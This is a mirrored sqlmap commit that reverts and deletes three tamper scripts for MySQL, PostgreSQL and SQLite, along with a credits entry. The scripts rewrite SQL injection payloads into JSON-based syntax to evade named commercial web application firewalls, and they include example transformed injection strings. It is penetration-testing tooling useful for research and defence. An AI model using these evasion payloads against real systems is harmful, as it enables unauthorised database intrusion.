mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2024-11-24 02:23:45 +03:00
Revert "JSON WAF bypass tamper scripts (#5260)"
This reverts commit 12e3ed14ae
.
This commit is contained in:
parent
12e3ed14ae
commit
648c2113dd
|
@ -789,9 +789,6 @@ x, <deep_freeze(at)mail.ru>
|
||||||
zhouhx, <zhouhx(at)knownsec.com>
|
zhouhx, <zhouhx(at)knownsec.com>
|
||||||
* for contributing a minor patch
|
* for contributing a minor patch
|
||||||
|
|
||||||
Noam Moshe Claroty Team82
|
|
||||||
* for contributing WAF scripts json_waf_bypass_postgres.py, json_waf_bypass_sqlite.py, json_waf_bypass_mysql.py
|
|
||||||
|
|
||||||
# Organizations
|
# Organizations
|
||||||
|
|
||||||
Black Hat team, <info(at)blackhat.com>
|
Black Hat team, <info(at)blackhat.com>
|
||||||
|
|
|
@ -1,163 +0,0 @@
|
||||||
#!/usr/bin/env python
|
|
||||||
|
|
||||||
"""
|
|
||||||
Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
|
|
||||||
See the file 'LICENSE' for copying permission
|
|
||||||
"""
|
|
||||||
|
|
||||||
# Patterns breaks down SQLi payload into different compontets, and replaces the logical comparison.
|
|
||||||
pattern = r"(?i)(?P<pre>.*)\s*\b(?P<relation>AND|OR)\b\s*(?P<leftComponent>\(?\'.*?(?<!\\)(?:\'|\Z)\)?|\(?\".*?(?<!\\)(?:\"|\Z)\)?|\(?\d+(?!x[a-f0-9])\)?)(?P<operator>=|=|like)(?P<rightComponent>\(?\'.*?(?<!\\)(?:\'|\Z)\)?|\(?\".*?(?<!\\)(?:\"|\Z)\)?|\(?\d+(?!x[a-f0-9])\)?)(?P<post>.*)"
|
|
||||||
import re, random, string
|
|
||||||
|
|
||||||
from lib.core.enums import PRIORITY
|
|
||||||
|
|
||||||
__priority__ = PRIORITY.HIGHEST
|
|
||||||
|
|
||||||
def dependencies():
|
|
||||||
pass
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
# Possible int payloads:
|
|
||||||
# 1) JSON_LENGTH()
|
|
||||||
# 2) json_depth
|
|
||||||
# 3) JSON_EXTRACT()
|
|
||||||
|
|
||||||
def generate_int_payload():
|
|
||||||
INT_FUNCTIONS = [generate_length_payload, generate_depth_paylod, generate_int_extract_payload]
|
|
||||||
return (random.choice(INT_FUNCTIONS))()
|
|
||||||
|
|
||||||
|
|
||||||
# Possible STR payloads:
|
|
||||||
# 1) SELECT JSON_KEYS('{"a": 1, "b": {"c": 30}}');
|
|
||||||
# 2) JSON_EXTRACT
|
|
||||||
# 3) JSON_QUOTE('null')
|
|
||||||
|
|
||||||
def generate_str_payload():
|
|
||||||
print("generate_str_payload")
|
|
||||||
STR_FUNCTIONS = [generate_str_extract_payload, generate_quote_payload]
|
|
||||||
return (random.choice(STR_FUNCTIONS))()
|
|
||||||
return 'JSON_EXTRACT(\'{"a": "1"}\', \'$.a\') = \'1\''
|
|
||||||
|
|
||||||
|
|
||||||
def generate_random_string(length=15):
|
|
||||||
str_length = random.randint(1,length)
|
|
||||||
return "".join(random.choice(string.ascii_letters) for i in range(str_length))
|
|
||||||
|
|
||||||
def generate_random_int():
|
|
||||||
return random.randint(2, 10000)
|
|
||||||
|
|
||||||
|
|
||||||
def generate_length_payload():
|
|
||||||
return f"JSON_LENGTH(\"{{}}\") <= {generate_random_int()}"
|
|
||||||
|
|
||||||
|
|
||||||
def generate_depth_paylod():
|
|
||||||
return f"JSON_DEPTH(\"{{}}\") != {generate_random_int()}"
|
|
||||||
|
|
||||||
|
|
||||||
def generate_quote_payload():
|
|
||||||
var = generate_random_string()
|
|
||||||
return f"JSON_QUOTE('{var}') = '\"{var}\"'"
|
|
||||||
|
|
||||||
|
|
||||||
def generate_int_extract_payload():
|
|
||||||
return generate_extract_payload(isString=False)
|
|
||||||
|
|
||||||
|
|
||||||
def generate_str_extract_payload():
|
|
||||||
return generate_extract_payload(isString=True)
|
|
||||||
|
|
||||||
|
|
||||||
def generate_extract_payload(isString=False):
|
|
||||||
key = generate_random_string()
|
|
||||||
if isString:
|
|
||||||
value = generate_random_string()
|
|
||||||
return f'JSON_EXTRACT(\'{{"{key}": "{value}"}}\', \'$.{key}\') = \'{value}\''
|
|
||||||
value = generate_random_int()
|
|
||||||
return f'JSON_EXTRACT("{{\\"{key}\\": {value}}}", "$.{key}") = "{value}"'
|
|
||||||
|
|
||||||
|
|
||||||
def generate_payload(isString, isBrackets):
|
|
||||||
payload = '(' if isBrackets else ""
|
|
||||||
if isString:
|
|
||||||
payload += generate_str_payload()[:-1] # Do not use the last ' because the application will add it.
|
|
||||||
else:
|
|
||||||
payload += generate_int_payload()
|
|
||||||
|
|
||||||
return payload
|
|
||||||
|
|
||||||
|
|
||||||
def generate_random_payload():
|
|
||||||
if random.randint(0,1):
|
|
||||||
return generate_str_payload()
|
|
||||||
return generate_int_payload()
|
|
||||||
|
|
||||||
def tamper(payload, **kwargs):
|
|
||||||
"""
|
|
||||||
|
|
||||||
Bypasses generic WAFs using JSON SQL Syntax.
|
|
||||||
For more details about JSON in MySQL - https://dev.mysql.com/doc/refman/5.7/en/json-function-reference.html
|
|
||||||
|
|
||||||
Tested against:
|
|
||||||
* MySQL v8.0 - however every version after v5.7.8 should work
|
|
||||||
|
|
||||||
Usage:
|
|
||||||
python3 sqlmap.py <TARGET> --tamper json_waf_bypass_mysql.py
|
|
||||||
|
|
||||||
Notes:
|
|
||||||
* References:
|
|
||||||
* https://claroty.com/team82/research/js-on-security-off-abusing-json-based-sql-to-bypass-waf
|
|
||||||
* https://www.blackhat.com/eu-22/briefings/schedule/#js-on-security-off-abusing-json-based-sql-queries-28774
|
|
||||||
* Usefull for bypassing any JSON-unaware WAFs with minor-to-no adjusments
|
|
||||||
* JSON techniques were tested againts the following WAF vendors:
|
|
||||||
* Amazon AWS ELB
|
|
||||||
* CloudFlare
|
|
||||||
* F5 BIG-IP
|
|
||||||
* Palo-Alto Next Generation Firewall
|
|
||||||
* Imperva Firewall
|
|
||||||
|
|
||||||
* This script alters the SQLi payload by replacing the condition statement with JSON-specific payloads,
|
|
||||||
depending on the SQLi type. Here is a list of supported payload types: (int/string depends on the condition check type)
|
|
||||||
|
|
||||||
Possible int payloads:
|
|
||||||
1) JSON_LENGTH()
|
|
||||||
2) json_depth
|
|
||||||
3) JSON_EXTRACT()
|
|
||||||
|
|
||||||
Possible STR payloads:
|
|
||||||
1) SELECT JSON_KEYS('{"a": 1, "b": {"c": 30}}');
|
|
||||||
2) JSON_EXTRACT
|
|
||||||
3) JSON_QUOTE('null')
|
|
||||||
|
|
||||||
>>> tamper("' and 5626=9709 and 'kqkk'='kqkk")
|
|
||||||
''' ' and 5626=9709 and JSON_EXTRACT('{"ilDQUNfX": "KuIjjFkFsok"}', '$.ilDQUNfX') = 'KuIjjFkFsok '''
|
|
||||||
>>> tamper('and 4515=8950--')
|
|
||||||
''' and JSON_EXTRACT("{\"CoGqzQjy\": 3825}", "$.CoGqzQjy") = "3825" '''
|
|
||||||
"""
|
|
||||||
|
|
||||||
payload = payload.replace(r'%20', " ")
|
|
||||||
#
|
|
||||||
retVal = payload
|
|
||||||
|
|
||||||
if payload:
|
|
||||||
match = re.search(pattern, payload)
|
|
||||||
|
|
||||||
if match:
|
|
||||||
pre = match.group('pre')
|
|
||||||
|
|
||||||
# Is our payload is a string.
|
|
||||||
isString = pre.startswith("'")
|
|
||||||
isBrackets = pre.startswith("')") or pre.startswith(")")
|
|
||||||
wafPayload = generate_payload(isString=isString, isBrackets=isBrackets)
|
|
||||||
retVal = f"{match.group('pre')} {match.group('relation')} {wafPayload}{match.group('post')}"
|
|
||||||
|
|
||||||
else:
|
|
||||||
|
|
||||||
if payload.lower().startswith("' union"):
|
|
||||||
wafPayload = generate_random_payload()
|
|
||||||
|
|
||||||
retVal = f"' and {wafPayload} {payload[1:]}" # replace ' union select... with ' and FALSE_WAF_BYPASS union select...
|
|
||||||
|
|
||||||
return retVal
|
|
||||||
|
|
|
@ -1,237 +0,0 @@
|
||||||
#!/usr/bin/env python
|
|
||||||
|
|
||||||
"""
|
|
||||||
Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
|
|
||||||
See the file 'LICENSE' for copying permission
|
|
||||||
"""
|
|
||||||
|
|
||||||
# Patterns breaks down SQLi payload into different components, and replaces the logical comparison.
|
|
||||||
pattern = r"(?i)(?P<pre>.*)\s*\b(?P<relation>AND|OR)\b\s*(?P<leftComponent>\(?\'.*?(?<!\\)(?:\'|\Z)\)?|\(?\".*?(?<!\\)(?:\"|\Z)\)?|\(?\d+(?!x[a-f0-9])\)?)(?P<operator>=|=|like)(?P<rightComponent>\(?\'.*?(?<!\\)(?:\'|\Z)\)?|\(?\".*?(?<!\\)(?:\"|\Z)\)?|\(?\d+(?!x[a-f0-9])\)?)(?P<post>.*)"
|
|
||||||
pattern_extract_value = r"(?i)(?P<pre>.*)\s*\b(?P<relation>AND|OR)\b\s*(?P<extractValueRest>EXTRACTVALUE.*)"
|
|
||||||
pattern_when_where = r"(?i)(?P<pre>.*)\s*\b(?P<condition>WHERE|WHEN)\b\s*(?P<rest>.*)"
|
|
||||||
pattern_replace_case = r"(?i)(?P<all>\(select.*when\s*\((?P<leftComp>.*?)=(?P<rightComp>.*?)\).*?then\s*(?P<firstCase>\(.*?\))\s*else\s*(?P<secondCase>\(.*?\)).*?end\)\))"
|
|
||||||
import re, random, string
|
|
||||||
|
|
||||||
from lib.core.enums import PRIORITY
|
|
||||||
|
|
||||||
__priority__ = PRIORITY.HIGHEST
|
|
||||||
|
|
||||||
|
|
||||||
def dependencies():
|
|
||||||
pass
|
|
||||||
|
|
||||||
|
|
||||||
# Possible int payloads:
|
|
||||||
# 1) #>>
|
|
||||||
# 2) @>
|
|
||||||
# 3) ->> (index)
|
|
||||||
# 4) ->> (str)
|
|
||||||
|
|
||||||
def generate_int_payload():
|
|
||||||
INT_FUNCTIONS = [generate_element_by_id_int_payload, generate_element_by_key_int_payload, generate_element_by_hashtag_int_payload, generate_json_left_contains_payload]
|
|
||||||
return (random.choice(INT_FUNCTIONS))()
|
|
||||||
|
|
||||||
|
|
||||||
# Possible str payloads:
|
|
||||||
# 1) ->> (str)
|
|
||||||
# 2) ->> (index)
|
|
||||||
# 3) #>>
|
|
||||||
|
|
||||||
|
|
||||||
def generate_str_payload():
|
|
||||||
STR_FUNCTIONS = [generate_element_by_id_str_payload,generate_element_by_key_str_payload, generate_element_by_hashtag_str_payload]
|
|
||||||
return (random.choice(STR_FUNCTIONS))()
|
|
||||||
|
|
||||||
|
|
||||||
def generate_random_string(length=15):
|
|
||||||
str_length = random.randint(1,length)
|
|
||||||
return "".join(random.choice(string.ascii_letters) for i in range(str_length))
|
|
||||||
|
|
||||||
|
|
||||||
def generate_random_int():
|
|
||||||
return random.randint(2, 10000)
|
|
||||||
|
|
||||||
|
|
||||||
def generate_element_by_id_payload(isString):
|
|
||||||
random_generator = generate_random_string if isString else generate_random_int
|
|
||||||
values = []
|
|
||||||
for i in range(3):
|
|
||||||
values.append(random_generator())
|
|
||||||
random_index = random.randint(0,2)
|
|
||||||
if isString:
|
|
||||||
return f'\'["{values[0]}", "{values[1]}", "{values[2]}"]\'::jsonb->>{random_index} = \'{values[random_index]}\''
|
|
||||||
return f"(\'[{values[0]}, {values[1]}, {values[2]}]\'::jsonb->>{random_index})::int8 = {values[random_index]}"
|
|
||||||
|
|
||||||
|
|
||||||
def generate_element_by_id_int_payload():
|
|
||||||
return generate_element_by_id_payload(isString=False)
|
|
||||||
|
|
||||||
|
|
||||||
def generate_element_by_id_str_payload():
|
|
||||||
return generate_element_by_id_payload(isString=True)
|
|
||||||
|
|
||||||
|
|
||||||
def generate_element_by_key_payload(isString):
|
|
||||||
random_generator = generate_random_string if isString else generate_random_int
|
|
||||||
keys = []
|
|
||||||
values = []
|
|
||||||
for i in range(3):
|
|
||||||
keys.append(generate_random_string()) # Json must always have a string as a value
|
|
||||||
values.append(random_generator())
|
|
||||||
random_index = random.randint(0, 2)
|
|
||||||
if isString:
|
|
||||||
return f"'{{\"{keys[0]}\" : \"{values[0]}\", \"{keys[1]}\" : \"{values[1]}\", \"{keys[2]}\" : \"{values[2]}\"}}'::jsonb->>'{keys[random_index]}' = '{values[random_index]}'"
|
|
||||||
return f"('{{\"{keys[0]}\" : {values[0]}, \"{keys[1]}\" : {values[1]}, \"{keys[2]}\" : {values[2]}}}'::jsonb->>'{keys[random_index]}')::int8 = {values[random_index]}"
|
|
||||||
|
|
||||||
|
|
||||||
def generate_element_by_key_int_payload():
|
|
||||||
return generate_element_by_key_payload(isString=False)
|
|
||||||
|
|
||||||
|
|
||||||
def generate_element_by_key_str_payload():
|
|
||||||
return generate_element_by_key_payload(isString=True)
|
|
||||||
|
|
||||||
|
|
||||||
def generate_element_by_hashtag_payload(isString):
|
|
||||||
random_generator = generate_random_string if isString else generate_random_int
|
|
||||||
keys = []
|
|
||||||
values = []
|
|
||||||
for i in range(3):
|
|
||||||
keys.append(generate_random_string()) # Json must always have a string as a value
|
|
||||||
values.append(random_generator())
|
|
||||||
random_index = random.randint(0, 2)
|
|
||||||
if isString:
|
|
||||||
return f"'{{\"{keys[0]}\" : \"{values[0]}\", \"{keys[1]}\" : \"{values[1]}\", \"{keys[2]}\" : \"{values[2]}\"}}'::jsonb%23>>'{{{keys[random_index]}}}' = '{values[random_index]}'"
|
|
||||||
return f"('{{\"{keys[0]}\" : {values[0]}, \"{keys[1]}\" : {values[1]}, \"{keys[2]}\" : {values[2]}}}'::jsonb%23>>'{{{keys[random_index]}}}')::int8 = {values[random_index]}"
|
|
||||||
|
|
||||||
|
|
||||||
def generate_element_by_hashtag_int_payload():
|
|
||||||
return generate_element_by_hashtag_payload(isString=False)
|
|
||||||
|
|
||||||
|
|
||||||
def generate_element_by_hashtag_str_payload():
|
|
||||||
return generate_element_by_hashtag_payload(isString=True)
|
|
||||||
|
|
||||||
|
|
||||||
def generate_json_left_contains_payload():
|
|
||||||
keys = []
|
|
||||||
values = []
|
|
||||||
for i in range(3):
|
|
||||||
keys.append(generate_random_string()) # Json must always have a string as a value
|
|
||||||
values.append(generate_random_int())
|
|
||||||
random_index = random.randint(0, 2)
|
|
||||||
return f"'{{\"{keys[0]}\" : {values[0]}, \"{keys[1]}\" : {values[1]}, \"{keys[2]}\" : {values[2]}}}'::jsonb @> '{{\"{keys[random_index]}\": {values[random_index]}}}'"
|
|
||||||
|
|
||||||
|
|
||||||
def generate_payload(isString, isBrackets):
|
|
||||||
payload = '(' if isBrackets else ""
|
|
||||||
if isString:
|
|
||||||
payload += generate_str_payload()[:-1] # Do not use the last ' because the application will add it.
|
|
||||||
else:
|
|
||||||
payload += generate_int_payload()
|
|
||||||
|
|
||||||
return payload
|
|
||||||
|
|
||||||
|
|
||||||
def generate_random_payload():
|
|
||||||
if random.randint(0,1):
|
|
||||||
return generate_str_payload()
|
|
||||||
return generate_int_payload()
|
|
||||||
|
|
||||||
def tamper(payload, **kwargs):
|
|
||||||
"""
|
|
||||||
|
|
||||||
Bypasses generic WAFs using JSON SQL Syntax.
|
|
||||||
|
|
||||||
For more details about JSON in PostgreSQL - https://www.postgresql.org/docs/9.3/functions-json.html
|
|
||||||
|
|
||||||
Tested against:
|
|
||||||
* PostgreSQL v15.0 - however every version after v9.2 should work
|
|
||||||
|
|
||||||
Usage:
|
|
||||||
python3 sqlmap.py <TARGET> --tamper json_waf_bypass_postgres.py
|
|
||||||
|
|
||||||
Notes:
|
|
||||||
|
|
||||||
* References:
|
|
||||||
* https://claroty.com/team82/research/js-on-security-off-abusing-json-based-sql-to-bypass-waf
|
|
||||||
* https://www.blackhat.com/eu-22/briefings/schedule/#js-on-security-off-abusing-json-based-sql-queries-28774
|
|
||||||
* Usefull for bypassing any JSON-unaware WAFs with minor-to-no adjusments
|
|
||||||
* JSON techniques were tested againts the following WAF vendors:
|
|
||||||
* Amazon AWS ELB
|
|
||||||
* CloudFlare
|
|
||||||
* F5 BIG-IP
|
|
||||||
* Palo-Alto Next Generation Firewall
|
|
||||||
* Imperva Firewall
|
|
||||||
|
|
||||||
* This script alters the SQLi payload by replacing the condition statement with JSON-specific payloads,
|
|
||||||
depending on the SQLi type. Here is a list of supported payload types: (int/string depends on the condition check type)
|
|
||||||
|
|
||||||
Possible int payloads:
|
|
||||||
1) #>>
|
|
||||||
2) @>
|
|
||||||
3) ->> (index)
|
|
||||||
4) ->> (str)
|
|
||||||
|
|
||||||
Possible str payloads:
|
|
||||||
1) ->> (str)
|
|
||||||
2) ->> (index)
|
|
||||||
3) #>>
|
|
||||||
|
|
||||||
>>> tamper("' and 5626=9709 and 'kqkk'='kqkk")
|
|
||||||
''' ' and 5626=9709 and '["cyelIKsSqxw", "TjFXJ", "p"]'::jsonb->>1 = 'TjFXJ '''
|
|
||||||
>>> tamper('and 4515=8950')
|
|
||||||
''' and ('{"znxqmFaPSFPHbL" : 9783, "thtt" : 3922, "EhFySUTUc" : 2490}'::jsonb%23>>'{thtt}')::int8 = 3922 '''
|
|
||||||
"""
|
|
||||||
payload = payload.replace(r'%20', " ") # Fix regex for later
|
|
||||||
payload = payload.lower().replace("union all", "union") # Replace union all with union in order to bypass many common WAFs
|
|
||||||
bad_string_match = re.search(r"(from \(select \d+)", payload) # Replaces suffix identified by many WAFs
|
|
||||||
|
|
||||||
if bad_string_match:
|
|
||||||
payload = payload[:payload.find(bad_string_match.group(1))] + f"--{generate_random_string()} "
|
|
||||||
|
|
||||||
retVal = payload
|
|
||||||
|
|
||||||
if payload:
|
|
||||||
|
|
||||||
match = re.search(pattern, payload)
|
|
||||||
|
|
||||||
if match:
|
|
||||||
pre = match.group('pre')
|
|
||||||
# Is our payload a string.
|
|
||||||
isString = pre.startswith("'")
|
|
||||||
isBrackets = pre.startswith("')") or pre.startswith(")")
|
|
||||||
wafPayload = generate_payload(isString=isString, isBrackets=isBrackets)
|
|
||||||
retVal = f"{match.group('pre')} {match.group('relation')} {wafPayload}{match.group('post')}"
|
|
||||||
|
|
||||||
elif payload.lower().startswith("' union"): # Increase evasiveness in union payloads
|
|
||||||
wafPayload = generate_random_payload()
|
|
||||||
retVal = f"' and {wafPayload} {payload[1:]}" # replace ' union select... with ' and FALSE_WAF_BYPASS union select...
|
|
||||||
|
|
||||||
else:
|
|
||||||
extract_value_match = re.search(pattern_extract_value, payload)
|
|
||||||
|
|
||||||
if extract_value_match: # Replaces extractvalue because many WAFs target it
|
|
||||||
wafPayload = generate_random_payload()
|
|
||||||
retVal = f"{extract_value_match.group('pre')} {extract_value_match.group('relation')} {wafPayload} {extract_value_match.group('relation')} {extract_value_match.group('extractValueRest')}"
|
|
||||||
|
|
||||||
else:
|
|
||||||
condition_match = re.match(pattern_when_where, payload)
|
|
||||||
|
|
||||||
if condition_match: # Replaces when/where payloads with regular payloads because many WAFs target this keywords
|
|
||||||
wafPayload = generate_random_payload()
|
|
||||||
retVal = f"{condition_match.group('pre')} {condition_match.group('condition')} {wafPayload} and {condition_match.group('rest')}"
|
|
||||||
|
|
||||||
case_match = re.search(pattern_replace_case, retVal)
|
|
||||||
|
|
||||||
if case_match: # Replaces case statements because many WAFs target this syntax
|
|
||||||
|
|
||||||
# Check if the case statement expects the left or right option
|
|
||||||
if case_match.group("leftComp") == case_match.group("rightComp"):
|
|
||||||
retVal = retVal.replace(case_match.group('all'), case_match.group('firstCase'))
|
|
||||||
|
|
||||||
else:
|
|
||||||
retVal = retVal.replace(case_match.group('all'), case_match.group('secondCase'))
|
|
||||||
|
|
||||||
return retVal
|
|
||||||
|
|
|
@ -1,178 +0,0 @@
|
||||||
#!/usr/bin/env python
|
|
||||||
|
|
||||||
"""
|
|
||||||
Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
|
|
||||||
See the file 'LICENSE' for copying permission
|
|
||||||
"""
|
|
||||||
|
|
||||||
# Patterns breaks down SQLi payload into different components, and replaces the logical comparison.
|
|
||||||
pattern = r"(?i)(?P<pre>.*)\s*\b(?P<relation>AND|OR)\b\s*(?P<leftComponent>\(?\'.*?(?<!\\)(?:\'|\Z)\)?|\(?\".*?(?<!\\)(?:\"|\Z)\)?|\(?\d+(?!x[a-f0-9])\)?)(?P<operator>=|=|like)(?P<rightComponent>\(?\'.*?(?<!\\)(?:\'|\Z)\)?|\(?\".*?(?<!\\)(?:\"|\Z)\)?|\(?\d+(?!x[a-f0-9])\)?)(?P<post>.*)"
|
|
||||||
import re, random, string
|
|
||||||
|
|
||||||
from lib.core.enums import PRIORITY
|
|
||||||
|
|
||||||
__priority__ = PRIORITY.HIGHEST
|
|
||||||
DEBUG = False
|
|
||||||
|
|
||||||
|
|
||||||
def dependencies():
|
|
||||||
pass
|
|
||||||
|
|
||||||
|
|
||||||
# Possible int payloads:
|
|
||||||
# 1) JSON_LENGTH()
|
|
||||||
# 2) json_depth
|
|
||||||
# 3) JSON_EXTRACT()
|
|
||||||
# 3) JSON_EXTRACT operator
|
|
||||||
|
|
||||||
def generate_int_payload():
|
|
||||||
INT_FUNCTIONS = [generate_length_payload, generate_int_extract_payload, generate_int_extract_operator_payload]
|
|
||||||
return (random.choice(INT_FUNCTIONS))()
|
|
||||||
|
|
||||||
|
|
||||||
# Possible STR payloads:
|
|
||||||
# 2) JSON_EXTRACT
|
|
||||||
# 2) JSON_EXTRACT Operator
|
|
||||||
# 3) JSON_QUOTE('null')
|
|
||||||
|
|
||||||
def generate_str_payload():
|
|
||||||
STR_FUNCTIONS = [generate_str_extract_payload, generate_quote_payload, generate_str_extract_operator_payload]
|
|
||||||
return (random.choice(STR_FUNCTIONS))()
|
|
||||||
|
|
||||||
|
|
||||||
def generate_random_string(length=15):
|
|
||||||
str_length = random.randint(1, length)
|
|
||||||
return "".join(random.choice(string.ascii_letters) for i in range(str_length))
|
|
||||||
|
|
||||||
|
|
||||||
def generate_random_int():
|
|
||||||
return random.randint(2, 10000)
|
|
||||||
|
|
||||||
|
|
||||||
def generate_length_payload():
|
|
||||||
rand_int = generate_random_int()
|
|
||||||
return f"JSON_ARRAY_LENGTH(\"[]\") <= {generate_random_int()}"
|
|
||||||
|
|
||||||
|
|
||||||
def generate_quote_payload():
|
|
||||||
var = generate_random_string()
|
|
||||||
return f"JSON_QUOTE('{var}') = '\"{var}\"'"
|
|
||||||
|
|
||||||
|
|
||||||
def generate_int_extract_payload():
|
|
||||||
return generate_extract_payload(isString=False)
|
|
||||||
|
|
||||||
|
|
||||||
def generate_str_extract_payload():
|
|
||||||
return generate_extract_payload(isString=True)
|
|
||||||
|
|
||||||
|
|
||||||
def generate_int_extract_operator_payload():
|
|
||||||
return generate_extract_operator_payload(isString=False)
|
|
||||||
|
|
||||||
|
|
||||||
def generate_str_extract_operator_payload():
|
|
||||||
return generate_extract_operator_payload(isString=True)
|
|
||||||
|
|
||||||
|
|
||||||
def generate_extract_payload(isString=False):
|
|
||||||
key = generate_random_string()
|
|
||||||
if isString:
|
|
||||||
value = generate_random_string()
|
|
||||||
return f'JSON_EXTRACT(\'{{"{key}": "{value}"}}\', \'$.{key}\') = \'{value}\''
|
|
||||||
value = generate_random_int()
|
|
||||||
return f'JSON_EXTRACT("{{""{key}"": {value}}}", "$.{key}") = {value}'
|
|
||||||
|
|
||||||
|
|
||||||
def generate_extract_operator_payload(isString=False):
|
|
||||||
|
|
||||||
key = generate_random_string()
|
|
||||||
if isString:
|
|
||||||
value = generate_random_string()
|
|
||||||
return f'\'{{"{key}": "{value}"}}\'->> \'$.{key}\' = \'{value}\''
|
|
||||||
value = generate_random_int()
|
|
||||||
return f'"{{""{key}"": {value}}}" ->> "$.{key}" = {value}'
|
|
||||||
|
|
||||||
|
|
||||||
def generate_payload(isString, isBrackets):
|
|
||||||
payload = '(' if isBrackets else ""
|
|
||||||
if isString:
|
|
||||||
payload += generate_str_payload()[:-1] # Do not use the last ' because the application will add it.
|
|
||||||
else:
|
|
||||||
payload += generate_int_payload()
|
|
||||||
|
|
||||||
return payload
|
|
||||||
|
|
||||||
|
|
||||||
def generate_random_payload():
|
|
||||||
if random.randint(0, 1):
|
|
||||||
return generate_str_payload()
|
|
||||||
return generate_int_payload()
|
|
||||||
|
|
||||||
|
|
||||||
def tamper(payload, **kwargs):
|
|
||||||
"""
|
|
||||||
|
|
||||||
Bypasses generic WAFs using JSON SQL Syntax.
|
|
||||||
|
|
||||||
For more details about JSON in SQLite - https://www.sqlite.org/json1.html
|
|
||||||
|
|
||||||
Tested against:
|
|
||||||
* SQLite v3.39.4 - however every version after v3.38.0 should work
|
|
||||||
|
|
||||||
Usage:
|
|
||||||
python3 sqlmap.py <TARGET> --tamper json_waf_bypass_sqlite.py
|
|
||||||
|
|
||||||
Notes:
|
|
||||||
|
|
||||||
* References:
|
|
||||||
* https://claroty.com/team82/research/js-on-security-off-abusing-json-based-sql-to-bypass-waf
|
|
||||||
* https://www.blackhat.com/eu-22/briefings/schedule/#js-on-security-off-abusing-json-based-sql-queries-28774
|
|
||||||
* Usefull for bypassing any JSON-unaware WAFs with minor-to-no adjusments
|
|
||||||
* JSON techniques were tested againts the following WAF vendors:
|
|
||||||
* Amazon AWS ELB
|
|
||||||
* CloudFlare
|
|
||||||
* F5 BIG-IP
|
|
||||||
* Palo-Alto Next Generation Firewall
|
|
||||||
* Imperva Firewall
|
|
||||||
|
|
||||||
* This script alters the SQLi payload by replacing the condition statement with JSON-specific payloads,
|
|
||||||
depending on the SQLi type. Here is a list of supported payload types: (int/string depends on the condition check type)
|
|
||||||
|
|
||||||
Possible int payloads:
|
|
||||||
1) JSON_LENGTH()
|
|
||||||
2) json_depth
|
|
||||||
3) JSON_EXTRACT()
|
|
||||||
3) JSON_EXTRACT operator
|
|
||||||
|
|
||||||
Possible STR payloads:
|
|
||||||
2) JSON_EXTRACT
|
|
||||||
2) JSON_EXTRACT Operator
|
|
||||||
3) JSON_QUOTE('null')
|
|
||||||
|
|
||||||
>>> tamper("' and 5626=9709 and 'kqkk'='kqkk")
|
|
||||||
''' ' and 5626=9709 and JSON_QUOTE('UG') = '"UG" '''
|
|
||||||
>>> tamper('and 4515=8950')
|
|
||||||
''' and JSON_ARRAY_LENGTH("[]") <= 9100 '''
|
|
||||||
"""
|
|
||||||
retVal = payload
|
|
||||||
|
|
||||||
if payload:
|
|
||||||
match = re.search(pattern, payload)
|
|
||||||
|
|
||||||
if match:
|
|
||||||
pre = match.group('pre')
|
|
||||||
|
|
||||||
# Is our payload is a string.
|
|
||||||
isString = pre.startswith("'")
|
|
||||||
isBrackets = pre.startswith("')") or pre.startswith(")")
|
|
||||||
wafPayload = generate_payload(isString=isString, isBrackets=isBrackets)
|
|
||||||
retVal = f"{match.group('pre')} {match.group('relation')} {wafPayload}{match.group('post')}"
|
|
||||||
|
|
||||||
else:
|
|
||||||
|
|
||||||
if payload.lower().startswith("' union"):
|
|
||||||
wafPayload = generate_random_payload()
|
|
||||||
retVal = f"' and {wafPayload} {payload[1:]}" # replace ' union select... with ' and FALSE_WAF_BYPASS union select...
|
|
||||||
|
|
||||||
return retVal
|
|
Loading…
Reference in New Issue
Block a user